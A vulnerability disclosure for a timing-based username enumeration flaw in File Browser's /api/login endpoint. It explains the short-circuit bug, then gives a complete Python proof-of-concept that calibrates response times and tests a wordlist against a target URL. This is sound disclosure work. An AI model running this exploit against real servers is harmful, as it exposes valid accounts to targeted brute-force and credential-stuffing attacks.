CVE-2026-23849: File Browser vulnerable to Username Enumeration via Timing Attack in /api/login

Summary The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

Details The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go: go // auth/json.go line 54 u, err := usr.Get(srv.Root, cred.Username) // VULNERABILITY: // If 'err != nil' (User not found), the OR condition short-circuits. // The second part (!users.CheckPwd) is NEVER executed. // // If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt). if err != nil || !users.CheckPwd(cred.Password, u.Password) { return nil, os.ErrPermission } PoC The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

python import requests import time import random import string import statistics import argparse

CALIBRATIONSAMPLES = 20 ENDPOINT = "/api/login"

def generaterandomuser(length=10): return ''.join(random.choices(string.asciilowercase + string.digits, k=length))

def measureresponsetime(url, username): start = time.perfcounter() try: requests.post(url, json={"username": username, "password": "dummypass123!"}) except Exception as e: print(f"[!] Connection error: {e}") return 0 return time.perfcounter() - start

def calibrate(url): print(f"\n[] Calibrating with {CALIBRATIONSAMPLES} random users...") times = [] print(" Progress: ", end="", flush=True) for in range(CALIBRATIONSAMPLES): randomuser = generaterandomuser() elapsed = measureresponsetime(url, randomuser) times.append(elapsed) print(".", end="", flush=True) print(" OK") mean = statistics.mean(times) try: stdev = statistics.stdev(times) except: stdev = 0.0 threshold = mean + (5 stdev) + 0.005 print(f" - Mean time (invalid users): {mean:.4f}s") print(f" - Standard deviation: {stdev:.6f}s") print(f" - Threshold set: {threshold:.4f}s") return threshold

def loadwordlist(wordlistpath): try: with open(wordlistpath, 'r', encoding='utf-8') as f: users = [line.strip() for line in f if line.strip()] return users except FileNotFoundError: print(f"[!] Wordlist not found: {wordlistpath}") exit(1) except Exception as e: print(f"[!] Error reading wordlist: {e}") exit(1)

def timingattack(url, threshold, users): print(f"\n[] Testing {len(users)} users from wordlist...") print("-" 50) print(f"{'Username':<15} | {'Time':<10} | {'Status'}") print("-" 50) found = [] for user in users: elapsed = measureresponsetime(url, user) if elapsed > threshold: status = ">> VALID <<" found.append(user) else: status = "invalid" print(f"{user:<15} | {elapsed:.4f}s | {status}") return found

def main(): parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit') parser.addargument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)') parser.addargument('-w', '--wordlist', required=True, help='Path to wordlist file') args = parser.parseargs() targeturl = args.url.rstrip('/') + ENDPOINT print("=== FILEBROWSER TIMING ATTACK ===\n") print(f"[] Target: {targeturl}") print(f"[] Wordlist: {args.wordlist}") try: threshold = calibrate(targeturl) users = loadwordlist(args.wordlist) print(f"\n[] Loaded {len(users)} users from wordlist") print("[] Starting attack...") validusers = timingattack(targeturl, threshold, users) print("\n" + "="50) print(f"SUMMARY: {len(validusers)} valid users found") if validusers: for u in validusers: print(f" -> {u}") print("="50) except KeyboardInterrupt: print("\n[!] Attack cancelled")

if name == "main": main()

For example, in this case, I have guchihacker as the only valid user in the application. <img width="842" height="310" alt="image" src="https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3" />

I am going to use the exploit to list valid users. <img width="628" height="716" alt="image" src="https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa" /> As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.

Impact An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).

I remain at your disposal for any questions you may have on this matter. Thank you very much.

Sincerely, Felix Sanchez (GUCHI)